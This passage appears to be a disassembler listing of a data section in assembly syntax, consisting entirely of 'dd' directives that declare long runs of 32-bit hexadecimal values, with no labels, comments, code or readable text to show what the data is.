		dd 4339B56Bh, 7F84B04h,	96987AE8h, 8FC1B760h, 0B529002Ch
		dd 712592BDh, 7837B361h, 8120DB3h, 8F04EA2Ah, 2B83151h
		dd 0A33CA8F4h, 801B0238h, 4BE925CFh, 610DEF75h,	303A2CEFh
		dd 94122594h, 0CB044220h, 4A141675h, 0AC1D4D12h, 0A292EE92h
		dd 9F8288F4h, 2A57B29h,	6FC45259h, 0ABD43052h, 6096DA2h
		dd 18F032F3h, 1D563116h, 94737C8h, 0DD7A816h, 6F2E4FB7h
		dd 4B250434h, 0F2AC1AAAh, 0EF0A04D3h, 0D820AC0Bh, 821489C4h
		dd 0D468DA54h, 8202DD08h, 3489CBB3h, 4D784FDBh,	21D52D87h
		dd 45B3FB10h, 0A0857D02h, 55FCAE5Fh, 0C9800361h, 946B2A5Ch
		dd 74011B23h, 8875EB84h, 0B73617C8h, 0C6BFB760h, 2F6C3212h
		dd 0A65AADB3h, 110AE03Eh, 8F8A017Ah, 403A6CC7h,	7EAC59E4h
		dd 0BA03A86Eh, 0FFE48BD7h, 0D6C8ACECh, 0A081E19Bh, 61852937h
		dd 808B2A2Dh, 0A0B7B64Bh, 174DE98h, 89AC8B9Fh, 62325D95h
		dd 1AD827DDh, 4C15709h,	84D92A29h, 0AC6A6Ah, 4F5CA8F1h
		dd 18D59E60h, 5C1DE7A2h, 0D5C203ADh, 5C1B1585h,	25CD4924h
		dd 0AB1FEBC0h, 6EDCFB19h, 3E2958D1h, 33C6FB25h,	8E7026BBh
		dd 0EFC10755h, 9280EBB1h, 5BE06089h, 29B539BDh,	965E59BCh
		dd 4EBFB253h, 7950ADE2h, 887D5F8Dh, 9D12014Dh, 4CB703FDh
		dd 3D2E214Ah, 334B20D7h, 0E447A0Fh, 0A694A099h,	9ED61F6h
		dd 60D337F4h, 0B5C2D4F6h, 50E1A049h, 49A3BF66h,	0F12FD35h
		dd 25D5B38Ch, 54B551FFh, 38E985E2h, 0E73380CBh,	2373C84h
		dd 0E1EFB1ABh, 84DDD3B6h, 0B3521859h, 34375F55h, 41EE8554h
		dd 0E38A60BBh, 7A2AAC8Bh, 42E26192h, 60B12C88h,	96023011h
		dd 0D2287761h, 71DCBDD6h, 0BB010963h, 0E56200Dh, 251446D6h
		dd 9531CE8Bh, 0A240326Dh, 12F9D11Eh, 0ACE6C2A9h, 0D100AA58h
		dd 0EB15F3BFh, 7A880DE9h, 0A1DF003Bh, 0D892AEDDh, 0EE127599h
		dd 60E27F51h, 0DDE31107h, 0A9AFF0A8h, 0B946DCE8h, 0E409A65Fh
		dd 0CCD394ABh, 3101F5A7h, 0AB4947C0h, 282EFC93h, 0EF979276h
		dd 0BF5364DDh, 0EC7E4C8h, 0ADE4A1F4h, 7C662360h, 644F0560h
		dd 24ACFD16h, 83C65B25h, 1FDC44BCh, 37DCA1Bh, 134EB9F7h
		dd 0F1BD0BC8h, 622501B4h, 0DC057497h, 0B99EC4Ch, 7A4D9DA9h
		dd 12CA941Bh, 0F0BDAC32h, 436D781h, 0E9634CCBh,	4355B892h
		dd 3AAF51C1h, 12FAD2A4h, 0E7C18B7Dh, 0AC225943h, 2510757Fh
		dd 0EF5290D3h, 3418BB1Dh, 0EDAD131Eh, 0AF53C5D2h, 2A05EB53h
		dd 50131631h, 99190DF8h, 0E16DBAB3h, 0BC833D48h, 0FFAF003Eh
		dd 0F4D25539h, 701F3542h, 2A408156h, 5B19F55Dh,	0F59D5F23h
		dd 11AD30E3h, 5B711BFh,	0E4F21F36h, 2FDF4442h, 0AF8133F6h
		dd 0DB6F2404h, 0B0A08066h, 97705426h, 0D725826Ch, 5DA5904Fh
		dd 9670045h, 8DCECA12h,	6042F26h, 6AF6FBADh, 0C0779BAAh
		dd 4EE63791h, 0D05EBB6Ah, 0FB0AD90Fh, 8C135B02h, 53A57B2Eh
		dd 39EDA5F9h, 0A3636540h, 4B8C9266h, 69589D76h,	60A8A7h
		dd 0AA1ACAA6h, 0BB05BF13h, 21092198h, 0F6D1FF66h, 1803DC3Dh
		dd 2A8C72A6h, 0DD69C066h, 7D1497E6h, 0FC32A369h, 5D03DEE1h
		dd 0B1E6402Ch, 0F0B29D5Ch, 7F0226h, 0FDAE0E53h,	302CB172h
		dd 5B65BB8Bh, 72D67C1h,	3F026A01h, 0EE80A0DBh, 31755FCDh
		dd 90389195h, 0B6803B2Ch, 4181C7AAh, 0B95A520Fh, 24D5298Bh
		dd 6EAB908Dh, 0A2E25BE4h, 3ED4D94Ah, 71DE6709h,	6677C2D4h
		dd 0CB790Bh, 319673E0h,	3EBB7623h, 0DB64178h, 934CE2F3h
		dd 0DA752BD2h, 0DD805EDAh, 0EE305AB3h, 9E116604h, 0CA09014h
		dd 0BDC598A7h, 40F23E1h, 0A25D9B8h, 97D26EFFh, 530F8690h
		dd 45392B7Eh, 111B80C1h, 72683879h, 583F020Eh, 0D98B808Dh
		dd 5ACCB35Ch, 0E2024A69h, 509AD34Eh, 1942B080h,	8C00DCEDh
		dd 6AB29BECh, 5CDF80FFh, 0D128F53h, 0E9B5ED0Ch,	0A63F402Eh
		dd 7923C2D4h, 0CD988A4Bh, 3131C4E6h, 0AD93EAB5h, 3DBB80B0h
		dd 36ED2451h, 9DC8278Dh, 0B8A070E6h, 5490F452h,	0C16D9D25h
		dd 872B5F10h, 0B9F9E485h, 98B822B9h, 2C012D27h,	331EBE71h
		dd 7302BD49h, 992DBDB2h, 0C12F5072h, 4B9B7AFCh,	5E07A231h
		dd 1BB9CE4h, 6DD44248h,	3151C82Bh, 2548DBA3h, 459D0C69h
		dd 7FD14D0Dh, 0FB93F29h, 98173C9h, 9704199Dh, 0C1AD8527h
		dd 2A0CE14Bh, 7DB537D0h, 6AC98C2Fh, 6E375C1Ah, 0BB660151h
		dd 39E9263Eh, 89FD7F52h, 16935D45h, 0AB5CD8B2h,	7A592244h
		dd 40A5F1DFh, 0BD89FE14h, 0C72D712Ch, 0FC145348h, 154B7DC1h
		dd 0F30FA88Ah, 6F7247F4h, 0B7067BDEh, 0AFCF73A7h, 19A132EEh
		dd 0E65F9DB5h, 658EC4A7h, 874AE20h, 25BDA083h, 0B4CB0FB3h
		dd 4530C86h, 0A0380295h, 408C2B9h, 49788401h, 0C570FCE1h
		dd 2DC5D9Ch, 4EAFC768h
		dd 5840E069h, 0FC4E3EE6h, 2B08C8AFh, 0D8E6C04Eh, 4FEF7FE0h
		dd 84F0BD0Dh, 31CCC667h, 5D25D2Bh, 6206AFBCh, 45B2B821h
		dd 9034F4ACh, 0BA195557h, 3AD93D2Bh, 447E79B3h,	3300300Ah
		dd 5C448089h, 5EF72B8Bh, 58F3A386h, 5B1B4096h, 176059ADh
		dd 5F0ED2h, 82BBFE4Ch, 0D013562h, 0DEB2884Ah, 0B897AD92h
		dd 0B78D3A99h, 5973DE2Dh, 16D35AFh, 0E6297440h,	38C9D918h
		dd 77D58001h, 4252633h,	5968A5A6h, 0ADF9B84Ch, 0D226272Bh
		dd 0E1F1CDE4h, 0D55D2980h, 48D98A6Fh, 5912FD5Fh, 8BD9E315h
		dd 0D9725BBEh, 7A73F406h, 0A218400h, 0BD299175h, 4E1E5BB5h
		dd 0A2F3A7AEh, 0F1B2C03Bh, 0AE4B59h, 0A681D230h, 10C2FB99h
		dd 25822A3Ah, 9B0FEE91h, 7B35583Ch, 778B8800h, 0A4B60819h
		dd 603DBC61h, 8BED8EF2h, 4DD7DA2Ah, 17B30803h, 886D3354h
		dd 16788F7h, 23E7A812h,	0C8B55B0Ch, 0B797E1FFh,	21DF0059h
		dd 0B84EFC13h, 8E3A90A0h, 384F9497h, 0DB5B0442h, 587BC0B8h
		dd 0FC734ED9h, 9C94B1Dh, 72790D79h, 0FC4927C4h,	0E3442779h
		dd 807DDA35h, 35BD32EEh, 0ADCF08C1h, 988010E8h,	0FBFA2B50h
		dd 8BD41695h, 0C2E500C3h, 67242D03h, 0D9605B24h, 863005DEh
		dd 81E091CEh, 2B29A50Ah, 6A2E8499h, 838C0389h, 0E0A6E3C4h
		dd 2C31696Eh, 89BB2185h, 0F0C9870Fh, 0F5906057h, 0B29D6BF7h
		dd 82159A2Fh, 5D8F0F1Fh, 2BF1A66h, 5E028963h, 0FAE96574h
		dd 98020D7Bh, 0D98B6151h, 0A4E63355h, 3421C643h, 0A225DA90h
		dd 0C943D712h, 605052F6h, 5BCE2FE6h, 8C70CEF8h,	246C18Ah
		dd 6B5A5111h, 0BCC2E451h, 8B070121h, 6AD79334h,	35C73FF6h
		dd 6FB75759h, 0CE010A96h, 3209F930h, 0A0B1122Eh, 0FA37CFA3h
		dd 0C48E1416h, 52ACD7CCh, 19CB81DEh, 2E6809E5h,	9587C937h
		dd 0CE481EB4h, 4539BF87h, 50BC16B5h, 478A2280h,	0C01BDF3h
		dd 69F59ADh, 97E0349Dh,	951104FFh, 0B8864EE2h, 0AABD96E0h
		dd 0D071BBCh, 0A84D1880h, 959CFD11h, 0E6FF352Eh, 0BCD5E009h
		dd 3EC70E41h, 2305E76Fh, 0DAC70951h, 0CD4A0DF0h, 0EE3A69C9h
		dd 0A2AD6D12h, 8C1CACh,	32A5360h, 3DD78C95h, 5560F662h
		dd 0A638571Ah, 0AE7E6CBBh, 8E5F6D98h, 8A211AA2h, 0C5B53104h
		dd 0BF60894Fh, 2BD1B624h, 92D954CEh, 0B3120DF7h, 3DDCE1FDh
		dd 2AF84AB2h, 685834C0h, 4C040292h, 2AB35E33h, 0F60A52FFh
		dd 0E096E300h, 49824EEFh, 0CC4A4ED1h, 9D3289FFh, 0E168EFF1h
		dd 0C53A98F9h, 0CE614204h, 0CDD78728h, 809CE42Ch, 0D77EE37Dh
		dd 0A1405096h, 25EE6A7Fh, 0F9C4F9B8h, 0E0BC4D9Fh, 13B5BF28h
		dd 9A653526h, 50CF9918h, 14C24DB3h, 8021DB5Fh, 0A061D3E6h
		dd 5C90091Bh, 0DF32DF8Bh, 6DD21B50h, 2966FBFh, 8C7435AEh
		dd 0A7F7D164h, 2C5C4442h, 13FD45Ah, 0C9BD092Ah,	8B382E1Dh
		dd 8000E130h, 0E9388DCFh, 5F7A5E43h, 406EAE1Dh,	3AD65245h
		dd 7C4F9132h, 2EB8C8C4h, 296081EBh, 25341D9Dh, 20C69052h
		dd 5E271915h, 0DC025C61h, 11377200h, 0FF4659Dh,	61949750h
		dd 4203C45h, 0D609537Dh, 2A2729CDh, 7A62F38h, 0C003E7C8h
		dd 142160D9h, 470031F2h, 869A29E0h, 97AFC950h, 0ED7D409Ah
		dd 2B7BC0CFh, 0CA021387h, 2C0AAE45h, 1AB5E103h,	5F86CB2Ah
		dd 0A905216Ah, 2D2DF96h, 1E7D9DBFh, 87BC5B04h, 0BCE7C5D3h
		dd 0E82273E4h, 0D0CF1F13h, 0A841804Bh, 94B863CCh, 8D923500h
		dd 91851442h, 5FE438EDh, 0FD310F93h, 86569E7Dh,	0A6A0B6A8h
		dd 0DE004D1Eh, 16B3D917h, 705D6D23h, 0F6A0F671h, 0AC27F6BBh
		dd 2BD5E9C9h, 820A4860h, 17198475h, 7E64610Bh, 24832C04h
		dd 3980F9EDh, 25CD04C8h, 86E6618Dh, 9CDEF09Dh, 0D2532D2Fh
		dd 9B181959h, 48662705h, 0AE09CB14h, 720BA911h,	0F488BE6Dh
		dd 603D7100h, 0CAC985FCh, 88745E53h, 0D2009B6Ch, 0FEEE580Ah
		dd 37387Eh, 5F640DB7h, 0DC1A8CC2h, 0A9268CD3h, 0C4862D6Ah
		dd 0BD6095CFh, 0B7C65EB8h, 0DABF8930h, 8297F9F2h, 0D78D297Fh
		dd 50312944h, 30198620h, 0D333B904h, 6000086Bh,	586CAD71h
		dd 66090EB0h, 79DCFEBFh, 0F493262Ch, 0A388E75Eh, 0CCCE09DBh
		dd 39843C9h, 3700B3A8h,	36965EC8h, 4E94DBh, 0B1639380h
		dd 7EF057B7h, 7E5F3A34h, 9483F6C0h, 6125EF52h, 50E0FB67h
		dd 5B00422Ah, 0EC1EF753h, 9BBB9ADh, 27F0040Ah, 46D645FCh
		dd 0CDFF0F19h, 102684E6h, 8138D0EAh, 5D0068EBh,	0FA4ABF96h
		dd 0EF501F8Dh, 1456E3Fh, 0F8E7D7A6h, 7E71BAE3h,	5AB38A18h
		dd 0C5E1E9A3h, 2DAE3075h, 0A89B2D08h, 2DA401B2h, 68E7872Fh
		dd 8E292F8Bh, 6680F53Bh, 5734F27Ch, 0F3C1E300h,	0FF8A7DABh
		dd 7C00A135h, 51D0956Fh, 0EC310969h, 1D379FCEh,	0AE821611h
		dd 0AD5EB83Fh, 0C560726Ah, 15D0A74Eh, 365BF5D3h, 258C15A8h
		dd 73E62C33h, 2FC6C19Dh, 38BBCE6Ah, 4AA94B3Eh, 0E1053AE8h
		dd 0FB20231Bh, 31910981h, 89850900h, 0E2B7255Ah, 0DDA8C6Fh
		dd 8A09225Ch, 7A675CDCh, 7552B5F3h, 0E9C85Eh, 0E9CA464Ch
		dd 1B8A9742h, 2312DE30h, 4CD28D0Fh, 0D0895D57h,	8B5BB681h
		dd 0F02B66C1h, 559C7B2h, 8FA362D1h, 7E52ABC6h, 95E5EE3h
		dd 0E9549054h, 8E0AE808h, 45407DE5h, 0FDDA093Fh, 5E59C605h
		dd 0E0B826B5h, 0A4905025h, 10020975h, 0C5C671EBh, 2700F55Bh
		dd 90FE8B50h, 3971095h,	0C732616h, 0E524000Eh, 0BFADC246h
		dd 66C33F02h, 5E8DB49Ch, 8ADB8756h, 0B7577BD8h,	386D8014h
		dd 0FC835ABCh, 763BF0C1h, 0CD6A0648h, 0C57F5AFDh, 75BC7B62h
		dd 896E809Dh, 75DF2FF5h, 4DA2544Fh, 19229C00h, 6993060Dh
		dd 0B3D0331Fh, 0F55B5FC0h, 5E890F50h, 278EE30Eh, 31BF908Bh
		dd 0B2614A60h, 0CFC84B9Dh, 98E500FEh, 0A6DDA9AAh, 8D1273EDh
		dd 4301CC79h, 6A5B3371h, 0F070F63Fh, 1463ED96h,	0D9F860ABh
		dd 0DD0CCDC0h, 0EFA3E6Bh, 503F5600h, 0D4675A68h, 8CD2015Dh
		dd 0B753618Ah, 0DE7FA079h, 0E59AC312h, 310944F3h, 66F0C585h
		dd 0F20DC6BDh, 1AD125BDh, 0C8A68B73h, 9F00F46Ah, 14E2AB72h
		dd 3FB600E5h, 0C542E470h, 0CC2EA2D8h, 0D113FA1Dh, 96F23816h
		dd 22058A4Bh, 40BFB66Ch, 9DE3516Ah, 82FB4F3Dh, 0AFB3802Eh
		dd 8B55C1DAh, 0D870BB3Ah, 174AF79Fh, 0F05FCCE3h, 1A970F23h
		dd 5117D3F0h, 7ACFF0B7h, 26094316h, 0BAA8CB81h,	64E8FD55h
		dd 0B9BD09C1h, 0A09D2B30h, 3C1E9650h, 8E4F4BE9h, 764510CEh
		dd 894B5E60h, 6AB59501h, 0FC35D51Ch, 12801A91h,	671BA56Bh
		dd 892D0F02h, 7733959Dh, 85C101D4h, 43F4080Eh, 2A3B0387h
		dd 0C923921Bh, 0D8CF46D0h, 97EDF3D3h, 0BC07C4B8h, 630E6EA6h
		dd 56B21A91h, 85C5EC84h, 0D2DEB85Fh, 0F802277Ah, 115ABAD0h
		dd 0FB2FE55Ch, 0A6C1F045h, 0DB625905h, 0C5C57DE0h, 0A0398AAFh
		dd 2716A58h, 4733C637h,	5A7AB589h, 7295B77Ah, 7AD2199h
		dd 7D08DD09h, 9B00973Dh, 0F4883E76h, 0E1B412A0h, 0ADFAC80Dh
		dd 73780900h, 0CFF3992Eh, 0C349002Fh, 54AC3008h, 12C88B6h
		dd 592DD585h, 222C4493h, 0AEF804DAh, 0BA24D45Eh, 2524AD08h
		dd 2A8A16C1h, 0B0D3E2F2h, 2FE13A76h, 5601244Dh,	1358A76Fh
		dd 3288759Dh, 0C9184B15h, 41F76030h, 3B980307h,	2ECABA5Fh
		dd 7AA9DF85h, 0F3A442BBh, 345EF6ACh, 577BB01h, 52F101Eh
		dd 81B86031h, 9F7E25A0h, 0EA89E92Ch, 0BCEF5C61h, 2D3907A1h
		dd 0BDC11F9h, 1523D743h, 0D7A9851Fh, 772AAC4Fh,	0E3788225h
		dd 0C1C82D2Fh, 0F6A76671h
		dd 254026EDh, 18E1A656h, 13E0A65Eh, 1AF100F5h, 8506D78Fh
		dd 9056EFBh, 0BD0B5BBBh, 6162D3AAh, 8628AE8Dh, 1A21228Dh
		dd 2DA65553h, 0DDC0A9B1h, 8C0F1110h, 55520A9Eh,	1C27559Ch
		dd 0A5235698h, 24456BC4h, 1F929420h, 0D47E3FCBh, 814B31A5h
		dd 916196Eh, 8D2E9509h,	6D612E8Bh, 7A6BFFD2h, 6AE01662h
		dd 129E6FFBh, 0D521D680h, 302FD88Bh, 5FF95379h,	76FB913h
		dd 0AEE899F9h, 5E014A7Ch, 0B42AEA3Ah, 902B8D09h, 0B50B60A6h
		dd 1F97F94Eh, 0DC249962h, 0FCE18A27h, 1E0211B9h, 926BBAB3h
		dd 4BF6D78h, 6753D14Dh,	5A3FBBB8h, 90001823h, 389DA2BBh
		dd 8B25A0BAh, 0CF7395FEh, 0EE1818F9h, 6FD8681Dh, 0F6816080h
		dd 4B22EB09h, 4E73E677h, 8C5186BCh, 253682EDh, 0B9224916h
		dd 5A099254h, 77A2E6FEh, 48949766h, 5D0359Fh, 0ACCA4EFEh
		dd 0A0848E50h, 5E7F353Bh, 0CA9E4B83h, 3B19D342h, 601221C4h
		dd 0D74B7554h, 54A4E918h, 316BAE1Eh, 38658983h,	690EC844h
		dd 95292DA0h, 61927DDEh, 778850F2h, 0C7027DA4h,	5FB8C47Ch
		dd 9F1C603Fh, 7E3408C0h, 4BE81696h, 6335CDA3h, 0DA9100EDh
		dd 0C57CE175h, 6B560352h, 1F769AB9h, 5B08A00h, 0FF5F348Eh
		dd 0DC399EE1h, 0A8D79100h, 0BCDC7DF2h, 740CB21Eh, 99497ACh
		dd 7E5C9A69h, 0D75ADE5Ch, 4BF96BE0h, 3303CE18h,	0A9315385h
		dd 243F25F9h, 0A30BB8D8h, 84DEA539h, 53A938C0h,	0F0B598DDh
		dd 9F79D2Fh, 0BDD35883h, 0CFC242EDh, 2EB95CE3h,	791740FBh
		dd 72005916h, 0B6D1C595h, 1401E43h, 1D602458h, 2E7F4E2Dh
		dd 80D2A648h, 3259D781h, 8F916A98h, 72580BDh, 536E654Fh
		dd 109A9518h, 0D12DE394h, 6B54710Ch, 0D6495ACDh, 0A368C55Ah
		dd 8D29047Eh, 0FD162645h, 0FA8B134Bh, 13405D52h, 2AE9685Bh
		dd 0BF1C021Eh, 54463E50h, 16071456h, 0DEC80129h, 0AD8D984Ah
		dd 4180FE6Ch, 9D328EF1h, 0FF84C800h, 65FD33E4h,	0E160214h
		dd 203A4CDBh, 0F1B52EE0h, 12511940h, 0E35B615Fh, 0BB6602A9h
		dd 0F7E9157Bh, 1E5EB3CBh, 0CD4AFFADh, 800F288Fh, 0CF9D635Fh
		dd 90C800A9h, 0DFEC5043h, 0A314D368h, 12CEAC8Eh, 84B92E8Dh
		dd 0F92C96D0h, 0DA09CF5Bh, 0EE9D5B70h, 0EF3A0038h, 84ACC090h
		dd 0E225E6E3h, 8040C681h, 812419CBh, 8DCC6A89h,	2D0B0045h
		dd 71578E3Ch, 44003E9Ah, 58FDCC82h, 25E797BBh, 635E1B4Ah
		dd 0B1646D6h, 5CD91067h, 891C1864h, 379D0446h, 0B5270512h
		dd 0DDEC295h, 30A25024h, 41017E5Ch, 805F0B05h, 7E50E5D7h
		dd 0D2B75D20h, 44B000EEh, 8220D48Ch, 565F6A10h,	0CCA14C20h
		dd 2F500AAh, 0F787BF85h, 0FD016642h, 2DF9DDFAh,	2AF5FF2h
		dd 84580F89h, 0F63DB4h,	68F509D5h, 5611A16Bh, 8C6A9B9Eh
		dd 0EA29487h, 0A57471D9h, 6A829AF9h, 999ACE3h, 0D40E4AA0h
		dd 52E45150h, 4E871FB1h, 62B07BFCh, 237D923h, 8A4AAC1Eh
		dd 245D5BFFh, 0DE1ADA5Eh, 0E780DF81h, 0CADA6B9Fh, 7EC019C8h
		dd 2BC6FCDh, 296101A3h,	6756A5BDh, 3F1C6E24h, 55475649h
		dd 0E893339Eh, 16628358h, 1D63DFADh, 4D542518h,	0E316845Bh
		dd 31E9186Fh, 2FBF6617h, 9DC407E1h, 0C5E4B5h, 3EDCF751h
		dd 90A6D696h, 74B267B5h, 77624EADh, 27705949h, 8BA9EF7Fh
		dd 28748D31h, 0D025732Dh, 0DB1265AAh, 88E29DFDh, 0E8A10D88h
		dd 5B651F6Eh, 6CF7D098h, 8BE18A09h, 0BFA9D07Eh,	8A40C015h
		dd 59FB698Bh, 0F8257D72h, 1D64B2CDh, 536DB160h,	890B0101h
		dd 0EEFDF228h, 5AF26121h, 4125EC7Eh, 2D62411Ch,	10342E2Fh
		dd 98AC6CC4h, 0A26A00D3h, 0CFBF9630h, 72F1430Eh, 894FC150h
		dd 0C2F20EE1h, 8B287772h, 1746DC8Ah, 7B3F804h, 0EC75AE7Dh
		dd 0A0A75AE6h, 7F229248h, 0A2752506h, 20FE60C7h, 0E79810A1h
		dd 558231E2h, 0E7236445h, 16908D58h, 0FE387CDEh, 552B3209h
		dd 0F94B6194h, 0BB75284h, 78F528B0h, 76B0CF5Fh,	0B2D74BF7h
		dd 45E200E2h, 0A33CB076h, 0E3CE9581h, 0A0224D21h, 4DA95180h
		dd 9508A1FCh, 1944BECDh, 0B3B0D360h, 6F29DF16h,	6099EBADh
		dd 0B8861120h, 40EC236Dh, 0EEE5FC1Fh, 0B768AACAh, 0EA15A93Dh
		dd 13103909h, 578251Bh,	0A9BDD848h, 0E0B21E5Ah,	0D78069B8h
		dd 0A20E4F7Eh, 46CA0038h, 7DB9779h, 0C0F70015h,	0FDBB11CDh
		dd 3A97A6BDh, 5197FB65h, 70D861F2h, 5B6BF895h, 0B6000A30h
		dd 0A74A0CDEh, 7FCB1A6Ch, 178CC656h, 63125751h,	9F5A2AAAh
		dd 5FA26053h, 3611CE00h, 0F71ED07Ch, 2C500300h,	599D89A5h
		dd 0F1C79509h, 7BBA3692h, 7D7F0CF6h, 4DBE887h, 0F960A05h
		dd 0D3CBAF86h, 5B570476h, 0AA12B796h, 2221E3CAh, 5D386A25h
		dd 8B407115h, 9D0DAAAh,	6344252Ch, 19855A03h, 0D9ADEFB4h
		dd 4B6BD2h, 3678D6E0h, 1203FC05h, 0E328E5BDh, 9B538859h
		dd 0B99CEA29h, 0A688D632h, 3753009Bh, 4023FB68h, 120185F7h
		dd 0E67FCD8Eh, 0E07A1486h, 6600D1C6h, 61B825B9h, 97DC8A5Fh
		dd 98774D0Bh, 1C03781h,	5F0C470Dh, 0E58BC87Ah, 0DD252E30h
		dd 30C04F3h, 61B35585h,	956E1697h, 9A82CC10h, 57C02105h
		dd 0A9044943h, 5F022C5Dh, 595CF2E9h, 708F732Dh,	3F00B884h
		dd 0F7BEDE42h, 0B88BFCA3h, 264480BAh, 0E9770B5Bh, 3FF0D1F9h
		dd 775FB5CBh, 0CAFFB0BAh, 61979005h, 0CF8C5C94h, 3547AC00h
		dd 0A2E2E1E3h, 6853BE00h, 5A2A1807h, 0F464BD21h, 0EFF54900h
		dd 0B75FFFE5h, 0F15ECA5h, 7254988Fh, 47F350Fh, 0BA60F990h
		dd 8509B031h, 9DEFF144h, 4936528h, 84A09546h, 81598C17h
		dd 9543F70Fh, 32CE79ACh, 363848C9h, 0A10FABC0h,	1F04436Dh
		dd 49BFA773h, 44B3CB8h,	1302ADA0h, 78EF5A30h, 0B27A0269h
		dd 9061E81Fh, 95E27A0h,	9700CFCBh, 0A6A9A5A1h, 0F2B75031h
		dd 0B1AEA190h, 0B84AF633h, 30AFD04Eh, 0EB8016F8h, 0DCE9587h
		dd 0D46B9Ch, 4D8AB014h,	95988612h, 0FA099EB8h, 0D5DA8B5Ah
		dd 1C9159B5h, 0E72FA96h, 0BD04FD91h, 1FF0924h, 2A6D8525h
		dd 602CEF3Bh, 0A94CD672h, 0A06EBCEBh, 801B0DF4h, 5167B509h
		dd 756B295Fh, 26A6022h,	0D7E059EDh, 4C187F9h, 0B350F529h
		dd 6E1EE1ABh, 90095805h, 0E34C8D99h, 264F02F2h,	881C7B99h
		dd 0E02829F4h, 96950B76h, 473C48F7h, 4E2C6F4Ah,	0DB5B00F3h
		dd 0C0D487E4h, 0F565FC11h, 0E92F742Eh, 8D3EA902h, 82AA5h
		dd 0C8501317h, 6300AE45h, 108AF5A2h, 6178C522h,	0AB2D20BFh
		dd 2E90CD97h, 7B5BCAF5h, 14AF00D3h, 90990DAAh, 298A4A4Bh
		dd 80C79A5Bh, 0BF1A0160h, 56450982h, 30577D84h,	0BFDE8BE3h
		dd 2105161h, 0DC3D5C61h, 0E8091646h, 95555CFDh,	0E2204488h
		dd 0DD650177h, 0C5F36FCAh, 9FC4CCh, 0E08E8FDBh,	752FEBF6h
		dd 1D39DCA0h, 0F9FF71C5h, 0D5518C1h, 0A044B73Eh, 74A1A4h
		dd 0E7815BD8h, 593C78A9h, 2A263197h, 2925BD08h,	94F7A10Eh
		dd 0CC6FB010h, 3D0074E8h, 21B46085h, 95EDF65Ah,	8BBCCD5Ah
		dd 80AFF940h, 5F09006Ah, 0C59948D1h, 570078ADh,	0A032C32Bh
		dd 97D42942h, 39EB3A26h, 8680E491h, 62D0F029h, 53AE09ACh
		dd 37704158h, 8B6BBB01h, 0BD2979FCh, 9D2B24EDh,	25CC6F6Ch
		dd 3BDEC63h, 14B1AE7Ah,	56887C82h, 4116726Dh, 0C5120EDDh
		dd 0F7F045AAh, 0A98012E2h, 0C82B16BAh, 0D1B56087h, 0DCCD86C3h
		dd 0F86A67AEh, 8D841610h, 0BC98FA20h, 7570F3h, 0F24038A1h
		dd 3AA24645h, 645E2600h, 0B2E598B6h, 82B44BD0h,	0DB610151h
		dd 0B9E171Ah, 25274431h
		dd 33C9D88Bh, 7085081Bh, 4C51811Dh, 783F3AD4h, 0E377018Ah
		dd 5B7BEF2Bh, 5C4036FDh, 8933D18Dh, 398A6BD9h, 0FE1F563Eh
		dd 15A5545Fh, 9B34B05Ah, 1CB82F73h, 0BD18EE24h,	0D4ED7B20h
		dd 14971DADh, 9D08F624h, 0AD0F07Bh, 703604FDh, 0EE015355h
		dd 956A23C8h, 2100C766h, 6B14A879h, 27DAED97h, 0BF0D8D9h
		dd 955B1E40h, 0EDA7A35Bh, 0F3E5414Bh, 35BA3E5Bh, 0B39410B4h
		dd 758D3109h, 54B91127h, 49BD4208h, 7812D721h, 0BC036D51h
		dd 98201A48h, 19EFF1Eh,	0FCE42A3Ah, 54919D0Bh, 3F7DB5EAh
		dd 0E3F311B6h, 97E67EE8h, 0F80BE5Bh, 4E2B84C0h,	4026ED2h
		dd 0D87DD66Fh, 2CAC1B84h, 57CFCF2h, 0E69D1840h,	8B4C0534h
		dd 0B7880DFBh, 88BEB5C3h, 0BD132300h, 6FAB0919h, 1723E2h
		dd 69433764h, 961284BFh, 5FC80E5Bh, 4F8C002Dh, 9FC96090h
		dd 0F30118F6h, 0F08BB39Ch, 231C082h, 5FB8926Eh,	35EB5A5Ch
		dd 0D166817Fh, 5EB7851h, 888B2EABh, 0BFDDC01Ch,	100DE6Fh
		dd 0EF7AE4E8h, 2D31FC8Ah, 1109195h, 2FED1FB9h, 0B5F051E6h
		dd 0E80BD690h, 80C27463h, 0F7F0EFDFh, 811497F9h, 0BEF7755Ah
		dd 0EDA079B3h, 5517699Dh, 12E82502h, 29B58904h,	0EADBAA19h
		dd 51C01888h, 0F9029A2Dh, 2B6D8D2Eh, 0FE9AA31h,	0A2203410h
		dd 910076F4h, 2930AB78h, 26CE54Ah, 0E1FFBF50h, 7F5CDC8Ah
		dd 9D048150h, 0EE00683Dh, 4714745Dh, 3099266Dh,	65D81CD6h
		dd 680B83C5h, 0D1F17304h, 1150308Dh, 0D7AC324Eh, 44B38E7h
		dd 6EEF60CDh, 6F5B005Eh, 0EC9613Ah, 0B761B784h,	0A16A2E19h
		dd 0F23F1623h, 170F22B8h, 20C634Fh, 21ECD9Dh, 0EFAEE180h
		dd 4171653Eh, 0D601728Bh, 0D025F4EDh, 1EC45Bh, 0EB1DFEFFh
		dd 0B144830Ch, 0FC58D225h, 2B5051CEh, 85005CA2h, 0F4EFD92h
		dd 9403028Ah, 0C1364C97h, 6BAA8D5Fh, 1D23EEh, 6DA38823h
		dd 440942DDh, 62E74C96h, 6FED569Dh, 0AD158825h,	99B9C00Bh
		dd 2DE2B64h, 1F3710A5h,	3DDA907h, 0A05BFEE6h, 25E05EBBh
		dd 2B897E19h, 628062B7h, 0B766ACFAh, 20224FF2h,	874A039Dh
		dd 29AA1817h, 90CD440Eh, 0DAB35B0Dh, 0C8CB6A6Ch, 13FA8A13h
		dd 0D148AADEh, 0F62D4BF8h, 50246B24h, 53B2C8FFh, 0DA654318h
		dd 0E85EF134h, 0A9B914BAh, 46585F61h, 0BE4094C3h, 0D69A5E8h
		dd 0F07C5604h, 30BE8D0Fh, 5F4955C8h, 18C5584Ah,	6B2A15A1h
		dd 1C238Ch, 70FA1E5Dh, 0E4122269h, 39F33A34h, 406D9340h
		dd 0B949E931h, 0F9032F6Ch, 3BC2256Eh, 0A7653D7Fh, 0FDB9EA81h
		dd 41322FA3h, 0FD06101h, 5A978B2Bh, 0C7A1FAE6h,	4A332FA6h
		dd 39541660h, 0F9979221h, 0F4A4CD88h, 4B26A100h, 9A64423Dh
		dd 0B6A948B3h, 801FDAA5h, 0C6D41A14h, 82780402h, 0A28174F8h
		dd 5EFA00D9h, 9068D610h, 1F525A3h, 0FB536AE2h, 0D3447772h
